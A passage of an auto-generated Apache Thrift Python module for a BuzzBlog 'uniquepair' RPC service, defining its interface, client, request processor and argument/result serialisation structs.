| 8
|
1b7986dda6ca73063822fb89bf962e8738337650
| 65,281
|
py
|
Python
|
app/uniquepair/service/tests/site-packages/buzzblog/gen/TUniquepairService.py
|
quyuyi/6365BuzzBlogApp
|
def9c033d56f65bb558cc1ee3260ac0d4229e690
|
[
"Apache-2.0"
] | null | null | null |
app/uniquepair/service/tests/site-packages/buzzblog/gen/TUniquepairService.py
|
quyuyi/6365BuzzBlogApp
|
def9c033d56f65bb558cc1ee3260ac0d4229e690
|
[
"Apache-2.0"
] | null | null | null |
app/uniquepair/service/tests/site-packages/buzzblog/gen/TUniquepairService.py
|
quyuyi/6365BuzzBlogApp
|
def9c033d56f65bb558cc1ee3260ac0d4229e690
|
[
"Apache-2.0"
] | null | null | null |
#
# Autogenerated by Thrift Compiler (0.13.0)
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
#
# options string: py
#
from thrift.Thrift import TType, TMessageType, TFrozenDict, TException, TApplicationException
from thrift.protocol.TProtocol import TProtocolException
from thrift.TRecursive import fix_spec
import sys
import logging
from .ttypes import *
from thrift.Thrift import TProcessor
from thrift.transport import TTransport
all_structs = []
class Iface(object):
def get(self, uniquepair_id):
"""
Parameters:
- uniquepair_id
"""
pass
def add(self, domain, first_elem, second_elem):
"""
Parameters:
- domain
- first_elem
- second_elem
"""
pass
def remove(self, uniquepair_id):
"""
Parameters:
- uniquepair_id
"""
pass
def find(self, domain, first_elem, second_elem):
"""
Parameters:
- domain
- first_elem
- second_elem
"""
pass
def all(self, domain):
"""
Parameters:
- domain
"""
pass
def filter_by_first_elem(self, domain, first_elem):
"""
Parameters:
- domain
- first_elem
"""
pass
def filter_by_second_elem(self, domain, second_elem):
"""
Parameters:
- domain
- second_elem
"""
pass
def count_first_elem(self, domain, first_elem):
"""
Parameters:
- domain
- first_elem
"""
pass
def count_second_elem(self, domain, second_elem):
"""
Parameters:
- domain
- second_elem
"""
pass
class Client(Iface):
def __init__(self, iprot, oprot=None):
self._iprot = self._oprot = iprot
if oprot is not None:
self._oprot = oprot
self._seqid = 0
def get(self, uniquepair_id):
"""
Parameters:
- uniquepair_id
"""
self.send_get(uniquepair_id)
return self.recv_get()
def send_get(self, uniquepair_id):
self._oprot.writeMessageBegin('get', TMessageType.CALL, self._seqid)
args = get_args()
args.uniquepair_id = uniquepair_id
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_get(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = get_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
if result.e is not None:
raise result.e
raise TApplicationException(TApplicationException.MISSING_RESULT, "get failed: unknown result")
def add(self, domain, first_elem, second_elem):
"""
Parameters:
- domain
- first_elem
- second_elem
"""
self.send_add(domain, first_elem, second_elem)
return self.recv_add()
def send_add(self, domain, first_elem, second_elem):
self._oprot.writeMessageBegin('add', TMessageType.CALL, self._seqid)
args = add_args()
args.domain = domain
args.first_elem = first_elem
args.second_elem = second_elem
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_add(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = add_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
if result.e is not None:
raise result.e
raise TApplicationException(TApplicationException.MISSING_RESULT, "add failed: unknown result")
def remove(self, uniquepair_id):
"""
Parameters:
- uniquepair_id
"""
self.send_remove(uniquepair_id)
self.recv_remove()
def send_remove(self, uniquepair_id):
self._oprot.writeMessageBegin('remove', TMessageType.CALL, self._seqid)
args = remove_args()
args.uniquepair_id = uniquepair_id
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_remove(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = remove_result()
result.read(iprot)
iprot.readMessageEnd()
if result.e is not None:
raise result.e
return
def find(self, domain, first_elem, second_elem):
"""
Parameters:
- domain
- first_elem
- second_elem
"""
self.send_find(domain, first_elem, second_elem)
return self.recv_find()
def send_find(self, domain, first_elem, second_elem):
self._oprot.writeMessageBegin('find', TMessageType.CALL, self._seqid)
args = find_args()
args.domain = domain
args.first_elem = first_elem
args.second_elem = second_elem
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_find(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = find_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
if result.e is not None:
raise result.e
raise TApplicationException(TApplicationException.MISSING_RESULT, "find failed: unknown result")
def all(self, domain):
"""
Parameters:
- domain
"""
self.send_all(domain)
return self.recv_all()
def send_all(self, domain):
self._oprot.writeMessageBegin('all', TMessageType.CALL, self._seqid)
args = all_args()
args.domain = domain
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_all(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = all_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "all failed: unknown result")
def filter_by_first_elem(self, domain, first_elem):
"""
Parameters:
- domain
- first_elem
"""
self.send_filter_by_first_elem(domain, first_elem)
return self.recv_filter_by_first_elem()
def send_filter_by_first_elem(self, domain, first_elem):
self._oprot.writeMessageBegin('filter_by_first_elem', TMessageType.CALL, self._seqid)
args = filter_by_first_elem_args()
args.domain = domain
args.first_elem = first_elem
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_filter_by_first_elem(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = filter_by_first_elem_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "filter_by_first_elem failed: unknown result")
def filter_by_second_elem(self, domain, second_elem):
"""
Parameters:
- domain
- second_elem
"""
self.send_filter_by_second_elem(domain, second_elem)
return self.recv_filter_by_second_elem()
def send_filter_by_second_elem(self, domain, second_elem):
self._oprot.writeMessageBegin('filter_by_second_elem', TMessageType.CALL, self._seqid)
args = filter_by_second_elem_args()
args.domain = domain
args.second_elem = second_elem
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_filter_by_second_elem(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = filter_by_second_elem_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "filter_by_second_elem failed: unknown result")
def count_first_elem(self, domain, first_elem):
"""
Parameters:
- domain
- first_elem
"""
self.send_count_first_elem(domain, first_elem)
return self.recv_count_first_elem()
def send_count_first_elem(self, domain, first_elem):
self._oprot.writeMessageBegin('count_first_elem', TMessageType.CALL, self._seqid)
args = count_first_elem_args()
args.domain = domain
args.first_elem = first_elem
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_count_first_elem(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = count_first_elem_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "count_first_elem failed: unknown result")
def count_second_elem(self, domain, second_elem):
"""
Parameters:
- domain
- second_elem
"""
self.send_count_second_elem(domain, second_elem)
return self.recv_count_second_elem()
def send_count_second_elem(self, domain, second_elem):
self._oprot.writeMessageBegin('count_second_elem', TMessageType.CALL, self._seqid)
args = count_second_elem_args()
args.domain = domain
args.second_elem = second_elem
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_count_second_elem(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = count_second_elem_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "count_second_elem failed: unknown result")
class Processor(Iface, TProcessor):
def __init__(self, handler):
self._handler = handler
self._processMap = {}
self._processMap["get"] = Processor.process_get
self._processMap["add"] = Processor.process_add
self._processMap["remove"] = Processor.process_remove
self._processMap["find"] = Processor.process_find
self._processMap["all"] = Processor.process_all
self._processMap["filter_by_first_elem"] = Processor.process_filter_by_first_elem
self._processMap["filter_by_second_elem"] = Processor.process_filter_by_second_elem
self._processMap["count_first_elem"] = Processor.process_count_first_elem
self._processMap["count_second_elem"] = Processor.process_count_second_elem
self._on_message_begin = None
def on_message_begin(self, func):
self._on_message_begin = func
def process(self, iprot, oprot):
(name, type, seqid) = iprot.readMessageBegin()
if self._on_message_begin:
self._on_message_begin(name, type, seqid)
if name not in self._processMap:
iprot.skip(TType.STRUCT)
iprot.readMessageEnd()
x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s' % (name))
oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid)
x.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
return
else:
self._processMap[name](self, seqid, iprot, oprot)
return True
def process_get(self, seqid, iprot, oprot):
args = get_args()
args.read(iprot)
iprot.readMessageEnd()
result = get_result()
try:
result.success = self._handler.get(args.uniquepair_id)
msg_type = TMessageType.REPLY
except TTransport.TTransportException:
raise
except TUniquepairNotFoundException as e:
msg_type = TMessageType.REPLY
result.e = e
except TApplicationException as ex:
logging.exception('TApplication exception in handler')
msg_type = TMessageType.EXCEPTION
result = ex
except Exception:
logging.exception('Unexpected exception in handler')
msg_type = TMessageType.EXCEPTION
result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error')
oprot.writeMessageBegin("get", msg_type, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_add(self, seqid, iprot, oprot):
args = add_args()
args.read(iprot)
iprot.readMessageEnd()
result = add_result()
try:
result.success = self._handler.add(args.domain, args.first_elem, args.second_elem)
msg_type = TMessageType.REPLY
except TTransport.TTransportException:
raise
except TUniquepairAlreadyExistsException as e:
msg_type = TMessageType.REPLY
result.e = e
except TApplicationException as ex:
logging.exception('TApplication exception in handler')
msg_type = TMessageType.EXCEPTION
result = ex
except Exception:
logging.exception('Unexpected exception in handler')
msg_type = TMessageType.EXCEPTION
result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error')
oprot.writeMessageBegin("add", msg_type, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_remove(self, seqid, iprot, oprot):
args = remove_args()
args.read(iprot)
iprot.readMessageEnd()
result = remove_result()
try:
self._handler.remove(args.uniquepair_id)
msg_type = TMessageType.REPLY
except TTransport.TTransportException:
raise
except TUniquepairNotFoundException as e:
msg_type = TMessageType.REPLY
result.e = e
except TApplicationException as ex:
logging.exception('TApplication exception in handler')
msg_type = TMessageType.EXCEPTION
result = ex
except Exception:
logging.exception('Unexpected exception in handler')
msg_type = TMessageType.EXCEPTION
result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error')
oprot.writeMessageBegin("remove", msg_type, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_find(self, seqid, iprot, oprot):
args = find_args()
args.read(iprot)
iprot.readMessageEnd()
result = find_result()
try:
result.success = self._handler.find(args.domain, args.first_elem, args.second_elem)
msg_type = TMessageType.REPLY
except TTransport.TTransportException:
raise
except TUniquepairNotFoundException as e:
msg_type = TMessageType.REPLY
result.e = e
except TApplicationException as ex:
logging.exception('TApplication exception in handler')
msg_type = TMessageType.EXCEPTION
result = ex
except Exception:
logging.exception('Unexpected exception in handler')
msg_type = TMessageType.EXCEPTION
result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error')
oprot.writeMessageBegin("find", msg_type, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_all(self, seqid, iprot, oprot):
args = all_args()
args.read(iprot)
iprot.readMessageEnd()
result = all_result()
try:
result.success = self._handler.all(args.domain)
msg_type = TMessageType.REPLY
except TTransport.TTransportException:
raise
except TApplicationException as ex:
logging.exception('TApplication exception in handler')
msg_type = TMessageType.EXCEPTION
result = ex
except Exception:
logging.exception('Unexpected exception in handler')
msg_type = TMessageType.EXCEPTION
result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error')
oprot.writeMessageBegin("all", msg_type, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_filter_by_first_elem(self, seqid, iprot, oprot):
args = filter_by_first_elem_args()
args.read(iprot)
iprot.readMessageEnd()
result = filter_by_first_elem_result()
try:
result.success = self._handler.filter_by_first_elem(args.domain, args.first_elem)
msg_type = TMessageType.REPLY
except TTransport.TTransportException:
raise
except TApplicationException as ex:
logging.exception('TApplication exception in handler')
msg_type = TMessageType.EXCEPTION
result = ex
except Exception:
logging.exception('Unexpected exception in handler')
msg_type = TMessageType.EXCEPTION
result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error')
oprot.writeMessageBegin("filter_by_first_elem", msg_type, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_filter_by_second_elem(self, seqid, iprot, oprot):
args = filter_by_second_elem_args()
args.read(iprot)
iprot.readMessageEnd()
result = filter_by_second_elem_result()
try:
result.success = self._handler.filter_by_second_elem(args.domain, args.second_elem)
msg_type = TMessageType.REPLY
except TTransport.TTransportException:
raise
except TApplicationException as ex:
logging.exception('TApplication exception in handler')
msg_type = TMessageType.EXCEPTION
result = ex
except Exception:
logging.exception('Unexpected exception in handler')
msg_type = TMessageType.EXCEPTION
result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error')
oprot.writeMessageBegin("filter_by_second_elem", msg_type, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_count_first_elem(self, seqid, iprot, oprot):
args = count_first_elem_args()
args.read(iprot)
iprot.readMessageEnd()
result = count_first_elem_result()
try:
result.success = self._handler.count_first_elem(args.domain, args.first_elem)
msg_type = TMessageType.REPLY
except TTransport.TTransportException:
raise
except TApplicationException as ex:
logging.exception('TApplication exception in handler')
msg_type = TMessageType.EXCEPTION
result = ex
except Exception:
logging.exception('Unexpected exception in handler')
msg_type = TMessageType.EXCEPTION
result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error')
oprot.writeMessageBegin("count_first_elem", msg_type, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_count_second_elem(self, seqid, iprot, oprot):
args = count_second_elem_args()
args.read(iprot)
iprot.readMessageEnd()
result = count_second_elem_result()
try:
result.success = self._handler.count_second_elem(args.domain, args.second_elem)
msg_type = TMessageType.REPLY
except TTransport.TTransportException:
raise
except TApplicationException as ex:
logging.exception('TApplication exception in handler')
msg_type = TMessageType.EXCEPTION
result = ex
except Exception:
logging.exception('Unexpected exception in handler')
msg_type = TMessageType.EXCEPTION
result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error')
oprot.writeMessageBegin("count_second_elem", msg_type, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
# HELPER FUNCTIONS AND STRUCTURES
class get_args(object):
"""
Attributes:
- uniquepair_id
"""
def __init__(self, uniquepair_id=None,):
self.uniquepair_id = uniquepair_id
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.I32:
self.uniquepair_id = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('get_args')
if self.uniquepair_id is not None:
oprot.writeFieldBegin('uniquepair_id', TType.I32, 1)
oprot.writeI32(self.uniquepair_id)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(get_args)
get_args.thrift_spec = (
None, # 0
(1, TType.I32, 'uniquepair_id', None, None, ), # 1
)
class get_result(object):
"""
Attributes:
- success
- e
"""
def __init__(self, success=None, e=None,):
self.success = success
self.e = e
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.STRUCT:
self.success = TUniquepair()
self.success.read(iprot)
else:
iprot.skip(ftype)
elif fid == 1:
if ftype == TType.STRUCT:
self.e = TUniquepairNotFoundException()
self.e.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('get_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.STRUCT, 0)
self.success.write(oprot)
oprot.writeFieldEnd()
if self.e is not None:
oprot.writeFieldBegin('e', TType.STRUCT, 1)
self.e.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(get_result)
get_result.thrift_spec = (
(0, TType.STRUCT, 'success', [TUniquepair, None], None, ), # 0
(1, TType.STRUCT, 'e', [TUniquepairNotFoundException, None], None, ), # 1
)
class add_args(object):
"""
Attributes:
- domain
- first_elem
- second_elem
"""
def __init__(self, domain=None, first_elem=None, second_elem=None,):
self.domain = domain
self.first_elem = first_elem
self.second_elem = second_elem
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.domain = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I32:
self.first_elem = iprot.readI32()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.I32:
self.second_elem = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('add_args')
if self.domain is not None:
oprot.writeFieldBegin('domain', TType.STRING, 1)
oprot.writeString(self.domain.encode('utf-8') if sys.version_info[0] == 2 else self.domain)
oprot.writeFieldEnd()
if self.first_elem is not None:
oprot.writeFieldBegin('first_elem', TType.I32, 2)
oprot.writeI32(self.first_elem)
oprot.writeFieldEnd()
if self.second_elem is not None:
oprot.writeFieldBegin('second_elem', TType.I32, 3)
oprot.writeI32(self.second_elem)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(add_args)
add_args.thrift_spec = (
None, # 0
(1, TType.STRING, 'domain', 'UTF8', None, ), # 1
(2, TType.I32, 'first_elem', None, None, ), # 2
(3, TType.I32, 'second_elem', None, None, ), # 3
)
class add_result(object):
"""
Attributes:
- success
- e
"""
def __init__(self, success=None, e=None,):
self.success = success
self.e = e
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.STRUCT:
self.success = TUniquepair()
self.success.read(iprot)
else:
iprot.skip(ftype)
elif fid == 1:
if ftype == TType.STRUCT:
self.e = TUniquepairAlreadyExistsException()
self.e.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('add_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.STRUCT, 0)
self.success.write(oprot)
oprot.writeFieldEnd()
if self.e is not None:
oprot.writeFieldBegin('e', TType.STRUCT, 1)
self.e.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(add_result)
add_result.thrift_spec = (
(0, TType.STRUCT, 'success', [TUniquepair, None], None, ), # 0
(1, TType.STRUCT, 'e', [TUniquepairAlreadyExistsException, None], None, ), # 1
)
class remove_args(object):
"""
Attributes:
- uniquepair_id
"""
def __init__(self, uniquepair_id=None,):
self.uniquepair_id = uniquepair_id
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.I32:
self.uniquepair_id = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('remove_args')
if self.uniquepair_id is not None:
oprot.writeFieldBegin('uniquepair_id', TType.I32, 1)
oprot.writeI32(self.uniquepair_id)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(remove_args)
remove_args.thrift_spec = (
None, # 0
(1, TType.I32, 'uniquepair_id', None, None, ), # 1
)
class remove_result(object):
"""
Attributes:
- e
"""
def __init__(self, e=None,):
self.e = e
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.e = TUniquepairNotFoundException()
self.e.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('remove_result')
if self.e is not None:
oprot.writeFieldBegin('e', TType.STRUCT, 1)
self.e.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(remove_result)
remove_result.thrift_spec = (
None, # 0
(1, TType.STRUCT, 'e', [TUniquepairNotFoundException, None], None, ), # 1
)
class find_args(object):
"""
Attributes:
- domain
- first_elem
- second_elem
"""
def __init__(self, domain=None, first_elem=None, second_elem=None,):
self.domain = domain
self.first_elem = first_elem
self.second_elem = second_elem
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.domain = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I32:
self.first_elem = iprot.readI32()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.I32:
self.second_elem = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('find_args')
if self.domain is not None:
oprot.writeFieldBegin('domain', TType.STRING, 1)
oprot.writeString(self.domain.encode('utf-8') if sys.version_info[0] == 2 else self.domain)
oprot.writeFieldEnd()
if self.first_elem is not None:
oprot.writeFieldBegin('first_elem', TType.I32, 2)
oprot.writeI32(self.first_elem)
oprot.writeFieldEnd()
if self.second_elem is not None:
oprot.writeFieldBegin('second_elem', TType.I32, 3)
oprot.writeI32(self.second_elem)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(find_args)
find_args.thrift_spec = (
None, # 0
(1, TType.STRING, 'domain', 'UTF8', None, ), # 1
(2, TType.I32, 'first_elem', None, None, ), # 2
(3, TType.I32, 'second_elem', None, None, ), # 3
)
class find_result(object):
"""
Attributes:
- success
- e
"""
def __init__(self, success=None, e=None,):
self.success = success
self.e = e
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.STRUCT:
self.success = TUniquepair()
self.success.read(iprot)
else:
iprot.skip(ftype)
elif fid == 1:
if ftype == TType.STRUCT:
self.e = TUniquepairNotFoundException()
self.e.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('find_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.STRUCT, 0)
self.success.write(oprot)
oprot.writeFieldEnd()
if self.e is not None:
oprot.writeFieldBegin('e', TType.STRUCT, 1)
self.e.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
